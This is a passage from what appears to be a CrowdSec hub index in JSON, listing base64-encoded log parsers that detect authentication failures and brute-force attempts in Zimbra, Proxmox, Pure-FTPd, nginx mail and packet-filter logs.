c3RhdGljczoKICAtIG1ldGE6IHNlcnZpY2UKICAgIHZhbHVlOiB0Y3AKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogcGZfZHJvcAogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zcmNfaXAiCg==", "description": "Parse packet filter logs", "author": "firewallservices", "labels": null }, "firewallservices/zimbra-logs": { "path": "parsers/s01-parse/firewallservices/zimbra-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "f01fc443e18d03cc336c4a8a6cbf7afc47e0faba7b07129f58f802415fc8a394", "deprecated": false } }, "long_description": "WmltYnJhIGZhaWxlZCBhdXRoZW50aWNhdGlvbiBwYXJzZXIuIFRvIHVzZSBpdCwgeW91IHNob3VsZCBhZGQgYW4gYWNxdWlzaXRpb24gbGlrZQpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAgLSAvb3B0L3ppbWJyYS9sb2cvbWFpbGJveC5sb2cKbGFiZWxzOgogIHR5cGU6IHppbWJyYQpgYGAKTm90ZSB0aGF0IGlmIHlvdSBydW4gWmltYnJhIG9uIHNldmVyYWwgc2VydmVycyA6Ci0gQWNxdWlzaXRpb24gc2hvdWxkIGJlIGRvbmUgb24gdGhlIG1haWxib3ggc2VydmVycwotIFlvdSBzaG91bGQgc2V0IHppbWJyYU1haWxUcnVzdGVkSVAgdG8gdGhlIGxpc3Qgb2YgSVAgb2YgeW91ciBaaW1icmEgcHJveHkgdG8gZW5zdXJlIHRoZSBvcmlnaW5hbCBjbGllbnQgSVAgd2lsbCBhcHBlYXIgaW4gdGhlIGxvZ3MuIEZvciBleGFtcGxlOgpgYGBiYXNoCnptcHJvdiBtY2YgK3ppbWJyYU1haWxUcnVzdGVkSVAgMTAuMzAuMS4xMwpgYGAK", "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtIHN0YXJ0c1dpdGggJ3ppbWJyYSciCm9uc3VjY2VzczogbmV4dF9zdGFnZQojZGVidWc6IHRydWUKbmFtZTogZmlyZXdhbGxzZXJ2aWNlcy96aW1icmEtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIHppbWJyYSBhdXRoZW50aWNhdGlvbiBmYWlsdXJlcyIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtUSU1FU1RBTVBfSVNPODYwMTp0aW1lX2xvY2FsfTpbMC05XSssLiole1dPUkQ6cHJvdG99Oi8vJXtIT1NUTkFNRTpzZXJ2ZXJ9OiV7SU5UOnBvcnR9L3NlcnZpY2UvYWRtaW4vc29hcC8oQXV0aFJlcXVlc3QpP1xdIFxbLipvaXA9JXtJUDpzcmNfaXB9LipcXSBTb2FwRW5naW5lIC0gaGFuZGxlciBleGNlcHRpb246IGF1dGhlbnRpY2F0aW9uIGZhaWxlZCBmb3IgXFsle05HVVNFUjp1c2VyfVxdJwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgc3RhdGljczoKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZV9sb2NhbAogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJyV7VElNRVNUQU1QX0lTTzg2MDE6dGltZV9sb2NhbH06WzAtOV0rLC4qJXtXT1JEOnByb3RvfTovLyV7SE9TVE5BTUU6c2VydmVyfTole0lOVDpwb3J0fS9zZXJ2aWNlL2FkbWluL3NvYXAvKEF1dGhSZXF1ZXN0KT9cXSBcWy4qbmFtZT0le05HVVNFUjp1c2VyfS4qb2lwPSV7SVA6c3JjX2lwfS4qXF0gU29hcEVuZ2luZSAtIGhhbmRsZXIgZXhjZXB0aW9uJwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgc3RhdGljczoKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZV9sb2NhbAogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJyV7VElNRVNUQU1QX0lTTzg2MDE6dGltZV9sb2NhbH06WzAtOV0rLC4qXFsuKm9pcD0le0lQOnNyY19pcH0uKlxdIGltYXAgLSBhdXRoZW50aWNhdGlvbiBmYWlsZWQgZm9yIFxbJXtOR1VTRVI6dXNlcn1cXScKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgIHN0YXRpY3M6CiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVfbG9jYWwKc3RhdGljczoKICAtIG1ldGE6IHNlcnZpY2UKICAgIHZhbHVlOiB6aW1icmEKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogemltYnJhX2F1dGhfZmFpbAogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zcmNfaXAiCiAgLSBtZXRhOiB1c2VyCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC51c2VyIgo=", "description": "Parse zimbra authentication failures", "author": "firewallservices", "labels": null }, "fulljackz/proxmox-logs": { "path": "parsers/s01-parse/fulljackz/proxmox-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "889e85448093d9acb0a65e625eeb3e889e2bc2d7a43c3877a7f047d63f7fab28", "deprecated": false } }, "long_description": "IyBEZXNjcmlwdGlvbgoKQSBzaW1wbGUgcGFyc2VyIGZvciBQcm94bW94IFZFIFdlYiBpbnRlcmZhY2UuClByb3htb3ggVkUgaXMgbGlzdGVuaW5nIG9uIHBvcnQgODAwNi90Y3AgYW5kIHdyaXRlIHNzaCBmYWlscyBpbnRvIHN5c2xvZyAKCiMgTG9ncwoKICAtIEVycm9yCgpgYGAKSmFuICA0IDE3OjM0OjA4IGh5cGVydmlzb3IgcHZlZGFlbW9uWzM2NjMzMzldOiBhdXRoZW50aWNhdGlvbiBmYWlsdXJlOyByaG9zdD06OmZmZmY6MTcyLjIxLjEwLjIgdXNlcj10b29yQHBhbSBtc2c9bm8gc3VjaCB1c2VyICgndG9vckBwYW0nKQpKYW4gIDQgMTc6MzQ6MjIgaHlwZXJ2aXNvciBwdmVkYWVtb25bMzQ4Mzc0NF06IGF1dGhlbnRpY2F0aW9uIGZhaWx1cmU7IHJob3N0PTo6ZmZmZjoxNzIuMjEuMTAuMiB1c2VyPXJvb3RAcGFtIG1zZz1BdXRoZW50aWNhdGlvbiBmYWlsdXJlCmBgYAoKPiBJbiB0aGUgZmlyc3Qgc3RyaW5nLCB0aGUgdXNlciBkb2VzIG5vdCBleGlzdC4KPiBJbiB0aGUgc2Vjb25kIHVzZXIgZXhpc3RzIGJ1dCBhdXRoIGZhaWwuCgogIC0gU3VjY2VzcwoKYGBgCkphbiAgNCAxNzozNDoyNyBoeXBlcnZpc29yIHB2ZWRhZW1vblsyODkxODI1XTogPHJvb3RAcGFtPiBzdWNjZXNzZnVsIGF1dGggZm9yIHVzZXIgJ3Jvb3RAcGFtJwpgYGAKCiMgVG8gYmUgZG9uZQoKICAtID8KCiMgRXhwbGFpbiBvdXRwdXQKCiAgLSBQcm94bW94LWxvZ3MgcGFyc2VyIGlzIHVzZWQgb25seSBmb3IgYXV0aGVudGljYXRpb24gZmFpbHVyZXMuCgpgYGAKbGluZTogSmFuICA0IDE3OjM0OjA4IGh5cGVydmlzb3IgcHZlZGFlbW9uWzM2NjMzMzldOiBhdXRoZW50aWNhdGlvbiBmYWlsdXJlOyByaG9zdD06OmZmZmY6MTcyLjIxLjEwLjIgdXNlcj10b29yQHBhbSBtc2c9bm8gc3VjaCB1c2VyICgndG9vckBwYW0nKQoJ4pScIHMwMC1yYXcKCXwJ4pSUIPCfn6IgY3Jvd2RzZWN1cml0eS9zeXNsb2ctbG9ncyAoZmlyc3RfcGFyc2VyKQoJ4pScIHMwMS1wYXJzZQoJfAnilJQg8J+foiBmdWxsamFja3ovcHJveG1veC1sb2dzICgrOCkKCeKUnC0tLS0tLS0tIHBhcnNlciBzdWNjZXNzIPCfn6IKCeKUnCBTY2VuYXJpb3MKCQnilJQg8J+foiBmdWxsamFja3ovcHJveG1veC1iZgoKbGluZTogSmFuICA0IDE3OjM0OjAxIGh5cGVydmlzb3IgcHZlZGFlbW9uWzM2NjMzMzldOiBhdXRoZW50aWNhdGlvbiBmYWlsdXJlOyByaG9zdD06OmZmZmY6MTcyLjIxLjEwLjIgdXNlcj10b29yQHBhbSBtc2c9bm8gc3VjaCB1c2VyICgndG9vckBwYW0nKQoJ4pScIHMwMC1yYXcKCXwJ4pSUIPCfn6IgY3Jvd2RzZWN1cml0eS9zeXNsb2ctbG9ncyAoZmlyc3RfcGFyc2VyKQoJ4pScIHMwMS1wYXJzZQoJfAnilJQg8J+foiBmdWxsamFja3ovcHJveG1veC1sb2dzICgrOCkKCeKUnC0tLS0tLS0tIHBhcnNlciBzdWNjZXNzIPCfn6IKCeKUnCBTY2VuYXJpb3MKCQnilJQg8J+foiBmdWxsamFja3ovcHJveG1veC1iZgoKbGluZTogSmFuICA0IDE3OjM0OjA4IGh5cGVydmlzb3IgcHZlZGFlbW9uWzM2NjMzMzldOiBhdXRoZW50aWNhdGlvbiBmYWlsdXJlOyByaG9zdD06OmZmZmY6MTcyLjIxLjEwLjIgdXNlcj10b29yQHBhbSBtc2c9bm8gc3VjaCB1c2VyICgndG9vckBwYW0nKQoJ4pScIHMwMC1yYXcKCXwJ4pSUIPCfn6IgY3Jvd2RzZWN1cml0eS9zeXNsb2ctbG9ncyAoZmlyc3RfcGFyc2VyKQoJ4pScIHMwMS1wYXJzZQoJfAnilJQg8J+foiBmdWxsamFja3ovcHJveG1veC1sb2dzICgrOCkKCeKUnC0tLS0tLS0tIHBhcnNlciBzdWNjZXNzIPCfn6IKCeKUnCBTY2VuYXJpb3MKCQnilJQg8J+foiBmdWxsamFja3ovcHJveG1veC1iZgoKbGluZTogSmFuICA0IDE3OjM0OjA3IGh5cGVydmlzb3IgcHZlZGFlbW9uWzM0ODM3NDRdOiBhdXRoZW50aWNhdGlvbiBmYWlsdXJlOyByaG9zdD06OmZmZmY6MTcyLjIxLjEwLjIgdXNlcj1yb290QHBhbSBtc2c9QXV0aGVudGljYXRpb24gZmFpbHVyZQoJ4pScIHMwMC1yYXcKCXwJ4pSUIPCfn6IgY3Jvd2RzZWN1cml0eS9zeXNsb2ctbG9ncyAoZmlyc3RfcGFyc2VyKQoJ4pScIHMwMS1wYXJzZQoJfAnilJQg8J+foiBmdWxsamFja3ovcHJveG1veC1sb2dzICgrOCkKCeKUnC0tLS0tLS0tIHBhcnNlciBzdWNjZXNzIPCfn6IKCeKUnCBTY2VuYXJpb3MKCQnilJQg8J+foiBmdWxsamFja3ovcHJveG1veC1iZgoKbGluZTogSmFuICA0IDE3OjM0OjA4IGh5cGVydmlzb3IgcHZlZGFlbW9uWzI4OTE4MjVdOiA8cm9vdEBwYW0+IHN1Y2Nlc3NmdWwgYXV0aCBmb3IgdXNlciAncm9vdEBwYW0nCgnilJwgczAwLXJhdwoJfAnilJQg8J+foiBjcm93ZHNlY3VyaXR5L3N5c2xvZy1sb2dzIChmaXJzdF9wYXJzZXIpCgnilJwgczAxLXBhcnNlCgl8CeKUlCDwn5S0IGZ1bGxqYWNrei9wcm94bW94LWxvZ3MKCeKUlC0tLS0tLS0tIHBhcnNlciBmYWlsdXJlIPCflLQKCmxpbmU6IEphbiAgNCAxNzozNDowOCBoeXBlcnZpc29yIHB2ZWRhZW1vblszNjYzMzM5XTogYXV0aGVudGljYXRpb24gZmFpbHVyZTsgcmhvc3Q9OjpmZmZmOjE3Mi4yMS4xMC4yIHVzZXI9dG9vckBwYW0gbXNnPW5vIHN1Y2ggdXNlciAoJ3Rvb3JAcGFtJykKCeKUnCBzMDAtcmF3Cgl8CeKUlCDwn5+iIGNyb3dkc2VjdXJpdHkvc3lzbG9nLWxvZ3MgKGZpcnN0X3BhcnNlcikKCeKUnCBzMDEtcGFyc2UKCXwJ4pSUIPCfn6IgZnVsbGphY2t6L3Byb3htb3gtbG9ncyAoKzgpCgnilJwtLS0tLS0tLSBwYXJzZXIgc3VjY2VzcyDwn5+iCgnilJwgU2NlbmFyaW9zCgkJ4pSUIPCfn6IgZnVsbGphY2t6L3Byb3htb3gtYmYKCmxpbmU6IEphbiAgNCAxNzozNDoxMSBoeXBlcnZpc29yIHB2ZWRhZW1vblsyODkxODI1XTogPHJvb3RAcGFtPiBzdWNjZXNzZnVsIGF1dGggZm9yIHVzZXIgJ3Jvb3RAcGFtJwoJ4pScIHMwMC1yYXcKCXwJ4pSUIPCfn6IgY3Jvd2RzZWN1cml0eS9zeXNsb2ctbG9ncyAoZmlyc3RfcGFyc2VyKQoJ4pScIHMwMS1wYXJzZQoJfAnilJQg8J+UtCBmdWxsamFja3ovcHJveG1veC1sb2dzCgnilJQtLS0tLS0tLSBwYXJzZXIgZmFpbHVyZSDwn5S0CgpsaW5lOiBKYW4gIDQgMTc6MzQ6MTIgaHlwZXJ2aXNvciBwdmVkYWVtb25bMzQ4Mzc0NF06IGF1dGhlbnRpY2F0aW9uIGZhaWx1cmU7IHJob3N0PTo6ZmZmZjoxNzIuMjEuMTAuMiB1c2VyPXJvb3RAcGFtIG1zZz1BdXRoZW50aWNhdGlvbiBmYWlsdXJlCgnilJwgczAwLXJhdwoJfAnilJQg8J+foiBjcm93ZHNlY3VyaXR5L3N5c2xvZy1sb2dzIChmaXJzdF9wYXJzZXIpCgnilJwgczAxLXBhcnNlCgl8CeKUlCDwn5+iIGZ1bGxqYWNrei9wcm94bW94LWxvZ3MgKCs4KQoJ4pScLS0tLS0tLS0gcGFyc2VyIHN1Y2Nlc3Mg8J+fogoJ4pScIFNjZW5hcmlvcwoJCeKUlCDwn5+iIGZ1bGxqYWNrei9wcm94bW94LWJmCgpsaW5lOiBKYW4gIDQgMTc6MzQ6MTMgaHlwZXJ2aXNvciBwdmVkYWVtb25bMjg5MTgyNV06IDxyb290QHBhbT4gc3VjY2Vzc2Z1bCBhdXRoIGZvciB1c2VyICdyb290QHBhbScKCeKUnCBzMDAtcmF3Cgl8CeKUlCDwn5+iIGNyb3dkc2VjdXJpdHkvc3lzbG9nLWxvZ3MgKGZpcnN0X3BhcnNlcikKCeKUnCBzMDEtcGFyc2UKCXwJ4pSUIPCflLQgZnVsbGphY2t6L3Byb3htb3gtbG9ncwoJ4pSULS0tLS0tLS0gcGFyc2VyIGZhaWx1cmUg8J+UtAoKbGluZTogSmFuICA0IDE3OjM0OjAyIGh5cGVydmlzb3IgcHZlZGFlbW9uWzM0ODM3NDRdOiBhdXRoZW50aWNhdGlvbiBmYWlsdXJlOyByaG9zdD06OmZmZmY6MTcyLjIxLjEwLjIgdXNlcj1yb290QHBhbSBtc2c9QXV0aGVudGljYXRpb24gZmFpbHVyZQoJ4pScIHMwMC1yYXcKCXwJ4pSUIPCfn6IgY3Jvd2RzZWN1cml0eS9zeXNsb2ctbG9ncyAoZmlyc3RfcGFyc2VyKQoJ4pScIHMwMS1wYXJzZQoJfAnilJQg8J+foiBmdWxsamFja3ovcHJveG1veC1sb2dzICgrOCkKCeKUnC0tLS0tLS0tIHBhcnNlciBzdWNjZXNzIPCfn6IKCeKUnCBTY2VuYXJpb3MKCQnilJQg8J+foiBmdWxsamFja3ovcHJveG1veC1iZgoKbGluZTogSmFuICA0IDE3OjM0OjAzIGh5cGVydmlzb3IgcHZlZGFlbW9uWzI4OTE4MjVdOiA8cm9vdEBwYW0+IHN1Y2Nlc3NmdWwgYXV0aCBmb3IgdXNlciAncm9vdEBwYW0nCgnilJwgczAwLXJhdwoJfAnilJQg8J+foiBjcm93ZHNlY3VyaXR5L3N5c2xvZy1sb2dzIChmaXJzdF9wYXJzZXIpCgnilJwgczAxLXBhcnNlCgl8CeKUlCDwn5S0IGZ1bGxqYWNrei9wcm94bW94LWxvZ3MKCeKUlC0tLS0tLS0tIHBhcnNlciBmYWlsdXJlIPCflLQKYGBgIAo=", "content": "I2RlYnVnOiB0cnVlCm5hbWU6IGZ1bGxqYWNrei9wcm94bW94LWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBwcm94bW94IGxvZ3MgZm9yIGJydXRlZm9yY2UgYXR0ZW1wdHMiCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAncHZlZGFlbW9uJyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCnBhdHRlcm5fc3ludGF4OgogIFBWRV9BVVRIX0ZBSUw6ICdhdXRoZW50aWNhdGlvbiBmYWlsdXJlOyByaG9zdD0le0lQOmNsaWVudF9pcH0gdXNlcj0le1VTRVJOQU1FOnNvdXJjZV91c2VyfUAle1dPUkQ6cmVhbG19IG1zZz1BdXRoZW50aWNhdGlvbiBmYWlsdXJlJwogIFBWRV9OT1NVX1VTRVI6ICdhdXRoZW50aWNhdGlvbiBmYWlsdXJlOyByaG9zdD0le0lQOmNsaWVudF9pcH0gdXNlcj0le1VTRVJOQU1FOnNvdXJjZV91c2VyfUAle1dPUkQ6cmVhbG19IG1zZz1ubyBzdWNoIHVzZXInCm5vZGVzOgogIC0gZ3JvazoKICAgICAgbmFtZTogIlBWRV9BVVRIX0ZBSUwiCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IHB2ZV9mYWlsZWQtYXV0aAogICAgICAgIC0gbWV0YTogc291cmNlX3VzZXIKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV91c2VyIgogIC0gZ3JvazoKICAgICAgbmFtZTogIlBWRV9OT1NVX1VTRVIiCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IHB2ZV9mYWlsZWQtYXV0aAogICAgICAgIC0gbWV0YTogc291cmNlX3VzZXIKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV91c2VyIgpzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiBwdmVkYWVtb24KICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmNsaWVudF9pcCIK", "description": "Parse proxmox logs for bruteforce attempts", "author": "fulljackz", "labels": null }, "fulljackz/pureftpd-logs": { "path": "parsers/s01-parse/fulljackz/pureftpd-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "db21a9c06ffb7dbcdd420b62b51e5c13333dcc48556faae3fb49c65058b16737", "deprecated": false } }, "long_description": "IyBEZXNjcmlwdGlvbgoKQSBzaW1wbGUgcGFyc2VyIGZvciBQdXJlZnRwZC4KCiMgTG9ncwoKICAtIEVycm9yCgpgYGAKSmFuICA3IDE0OjE5OjM1IGZ0cGNkciBwdXJlLWZ0cGQ6ICg/QDE3Mi4yMS4xMC4yKSBbV0FSTklOR10gQXV0aGVudGljYXRpb24gZmFpbGVkIGZvciB1c2VyIFtyb290XQpKYW4gIDcgMTQ6MTk6MzYgZnRwY2RyIHB1cmUtZnRwZDogKD9AMTcyLjIxLjEwLjIpIFtXQVJOSU5HXSBBdXRoZW50aWNhdGlvbiBmYWlsZWQgZm9yIHVzZXIgW3Jvb3RdCmBgYAoKICAtIFN1Y2Nlc3MKCmBgYApKYW4gIDcgMTQ6MjA6MDYgZnRwY2RyIHB1cmUtZnRwZDogKD9AMTcyLjIxLjEwLjIpIFtJTkZPXSB1c2VyQHRlc3QuY29tIGlzIG5vdyBsb2dnZWQgaW4KYGBgCgojIFRvIGJlIGRvbmUKCiAgLSA/CgojIEV4cGxhaW4gb3V0cHV0CgogIC0gUHVyZWZ0cGQtbG9ncyBwYXJzZXIgaXMgdXNlZCBvbmx5IGZvciBhdXRoZW50aWNhdGlvbiBmYWlsdXJlcy4KCmBgYApsaW5lOiBKYW4gIDcgMTQ6MjA6MDEgZnRwY2RyIHB1cmUtZnRwZDogKD9AMTcyLjIxLjEwLjIpIFtXQVJOSU5HXSBBdXRoZW50aWNhdGlvbiBmYWlsZWQgZm9yIHVzZXIgW3Jvb3RdCgnilJwgczAwLXJhdwoJfAnilJQg8J+foiBjcm93ZHNlY3VyaXR5L3N5c2xvZy1sb2dzIChmaXJzdF9wYXJzZXIpCgnilJwgczAxLXBhcnNlCgl8CeKUlCDwn5+iIGZ1bGxqYWNrei9wdXJlZnRwZC1sb2dzICgrNikKCeKUnC0tLS0tLS0tIHBhcnNlciBzdWNjZXNzIPCfn6IKCeKUnCBTY2VuYXJpb3MKCQnilJQg8J+foiBmdWxsamFja3ovcHVyZWZ0cGQtYmYKCmxpbmU6IEphbiAgNyAxNDoyMDowNiBmdHBjZHIgcHVyZS1mdHBkOiAoP0AxNzIuMjEuMTAuMikgW0lORk9dIHVzZXJAdGVzdC5jb20gaXMgbm93IGxvZ2dlZCBpbgoJ4pScIHMwMC1yYXcKCXwJ4pSUIPCfn6IgY3Jvd2RzZWN1cml0eS9zeXNsb2ctbG9ncyAoZmlyc3RfcGFyc2VyKQoJ4pScIHMwMS1wYXJzZQoJfAnilJQg8J+UtCBmdWxsamFja3ovcHVyZWZ0cGQtbG9ncwoJ4pSULS0tLS0tLS0gcGFyc2VyIGZhaWx1cmUg8J+UtAoKbGluZTogSmFuICA3IDE0OjE5OjMxIGZ0cGNkciBwdXJlLWZ0cGQ6ICg/QDE3Mi4yMS4xMC4yKSBbV0FSTklOR10gQXV0aGVudGljYXRpb24gZmFpbGVkIGZvciB1c2VyIFtyb290XQoJ4pScIHMwMC1yYXcKCXwJ4pSUIPCfn6IgY3Jvd2RzZWN1cml0eS9zeXNsb2ctbG9ncyAoZmlyc3RfcGFyc2VyKQoJ4pScIHMwMS1wYXJzZQoJfAnilJQg8J+foiBmdWxsamFja3ovcHVyZWZ0cGQtbG9ncyAoKzYpCgnilJwtLS0tLS0tLSBwYXJzZXIgc3VjY2VzcyDwn5+iCgnilJwgU2NlbmFyaW9zCgkJ4pSUIPCfn6IgZnVsbGphY2t6L3B1cmVmdHBkLWJmCmBgYCAK", "content": "I2RlYnVnOiB0cnVlCm5hbWU6IGZ1bGxqYWNrei9wdXJlZnRwZC1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgcHVyZWZ0cGQgbG9ncyBmb3IgYnJ1dGVmb3JjZSBhdHRlbXB0cyIKZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdwdXJlLWZ0cGQnIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKcGF0dGVybl9zeW50YXg6CiAgUEZUUERfQVVUSF9GQUlMOiAnXCg/QCV7SVA6Y2xpZW50X2lwfVwpIFxbV0FSTklOR1xdIEF1dGhlbnRpY2F0aW9uIGZhaWxlZCBmb3IgdXNlciBcWyV7V09SRDp1c2VyfVxdJwpub2RlczoKICAtIGdyb2s6CiAgICAgIG5hbWU6ICJQRlRQRF9BVVRIX0ZBSUwiCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IHBmdHBkX2ZhaWxlZC1hdXRoCiAgICAgICAgLSBtZXRhOiBzb3VyY2VfdXNlcgogICAgICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudXNlciIKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogcHVyZWZ0cGQKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmNsaWVudF9pcCIK", "description": "Parse pureftpd logs for bruteforce attempts", "author": "fulljackz", "labels": null }, "hitech95/nginx-mail-logs": { "path": "parsers/s01-parse/hitech95/nginx-mail-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "52e65aa1d01faed9b6c45508c1c13a75b0c7228ac734490baa43ae2d0976f392", "deprecated": false } }, "long_description": "IyMgTmdpbnggRW1haWwgUHJveHkgcGFyc2VyCkEgZ2VuZXJpYyBwYXJzZXIgZm9yIGBuZ3hfbWFpbF9jb3JlYCBtb2R1bGU6CiAtIERldGVjdCBuZXcgc2Vzc2lvbgogLSBEZXRlY3QgYXV0aCBmYWlsdXJlcyB3aGVuIHVzaW5nIGBuZ3hfbWFpbF9hdXRoX2h0dHBfbW9kdWxlYAoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvbmdpbngvKi5sb2cKbGFiZWxzOgogIHR5cGU6IG5naW54CmBgYA==", "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtIHN0YXJ0c1dpdGggJ25naW54JyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGhpdGVjaDk1L25naW54LW1haWwtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIE5naW54IE1haWwgbG9ncyIKcGF0dGVybl9zeW50YXg6CiAgTk9fRE9VQkxFX1FVT1RFOiAnW14iXSsnCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJyV7TkdJTlhFUlJUSU1FOnRpbWV9IFxbJXtMT0dMRVZFTDpsb2dsZXZlbH1cXSAle05PTk5FR0lOVDpwaWR9IyV7Tk9OTkVHSU5UOnRpZH06IChcKiV7Tk9OTkVHSU5UOmNpZH0gKT9jbGllbnQgJXtJUE9SSE9TVDpyZW1vdGVfYWRkcn06JXtQT1NJTlQ6cmVtb3RlX3BvcnR9IGNvbm5lY3RlZCB0byAle0lQT1JIT1NUOmRlc3RfaXB9OiV7UE9TSU5UOmRlc3RfcG9ydH0nCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6ICJtYWlsX25ld19zZXNzaW9uIgogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtOR0lOWEVSUlRJTUU6dGltZX0gXFsle0xPR0xFVkVMOmxvZ2xldmVsfVxdICV7Tk9OTkVHSU5UOnBpZH0jJXtOT05ORUdJTlQ6dGlkfTogKFwqJXtOT05ORUdJTlQ6Y2lkfSApPyV7R1JFRURZREFUQTptZXNzYWdlfSwgY2xpZW50OiAle0lQT1JIT1NUOnJlbW90ZV9hZGRyfSwgc2VydmVyOiAle0lQT1JIT1NUOmRlc3RfaXB9OiV7UE9TSU5UOmRlc3RfcG9ydH0oLCBsb2dpbjogIiV7Tk9fRE9VQkxFX1FVT1RFOnVzZXJuYW1lfSIpPygsIHVwc3RyZWFtOiAle0lQT1JIT1NUOnByb3h5X2lwfTole1BPU0lOVDpwcm94eV9wb3J0fSk/JwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgZmlsdGVyOiAiZXZ0LlBhcnNlZC5tZXNzYWdlIGNvbnRhaW5zICdjbGllbnQgJyIKICAgIHN0YXRpY3M6CiAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZQogICAgICAtIG1ldGE6IHVzZXJuYW1lCiAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC51c2VybmFtZQogICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgdmFsdWU6ICJtYWlsX2F1dGgiCiAgICBub2RlczoKICAgICAgLSBmaWx0ZXI6ICJldnQuUGFyc2VkLm1lc3NhZ2UgY29udGFpbnMgJ2xvZ2dlZCBpbiciCiAgICAgICAgc3RhdGljczoKICAgICAgICAgIC0gbWV0YTogc3ViX3R5cGUKICAgICAgICAgICAgdmFsdWU6ICJhdXRoX3N1Y2Nlc3MiCiAgICAgIC0gZmlsdGVyOiAiZXZ0LlBhcnNlZC5tZXNzYWdlIGNvbnRhaW5zICdsb2dpbiBmYWlsZWQnIgogICAgICAgIHBhdHRlcm5fc3ludGF4OgogICAgICAgICAgTUFJTF9IVFRQX0FVVEg6ICdjbGllbnQgbG9naW4gZmFpbGVkOiAiJXtOT19ET1VCTEVfUVVPVEU6YXV0aF9yZXN1bHR9IiB3aGlsZScKICAgICAgICBncm9rOgogICAgICAgICAgcGF0dGVybjogJyV7TUFJTF9IVFRQX0FVVEh9JwogICAgICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgICBzdGF0aWNzOgogICAgICAgICAgLSBtZXRhOiBzdWJfdHlwZQogICAgICAgICAgICB2YWx1ZTogImF1dGhfZmFpbCIKICAgICAgICAgIC0gbWV0YTogYXV0aF9yZXN1bHQKICAgICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5hdXRoX3Jlc3VsdAojIHRoZXNlIG9uZXMgYXBwbHkgZm9yIGJvdGggZ3JvayBwYXR0ZXJucwpzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IG1haWwKICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQucmVtb3RlX2FkZHIiCiAgLSBtZXRhOiBkZXN0X2lwC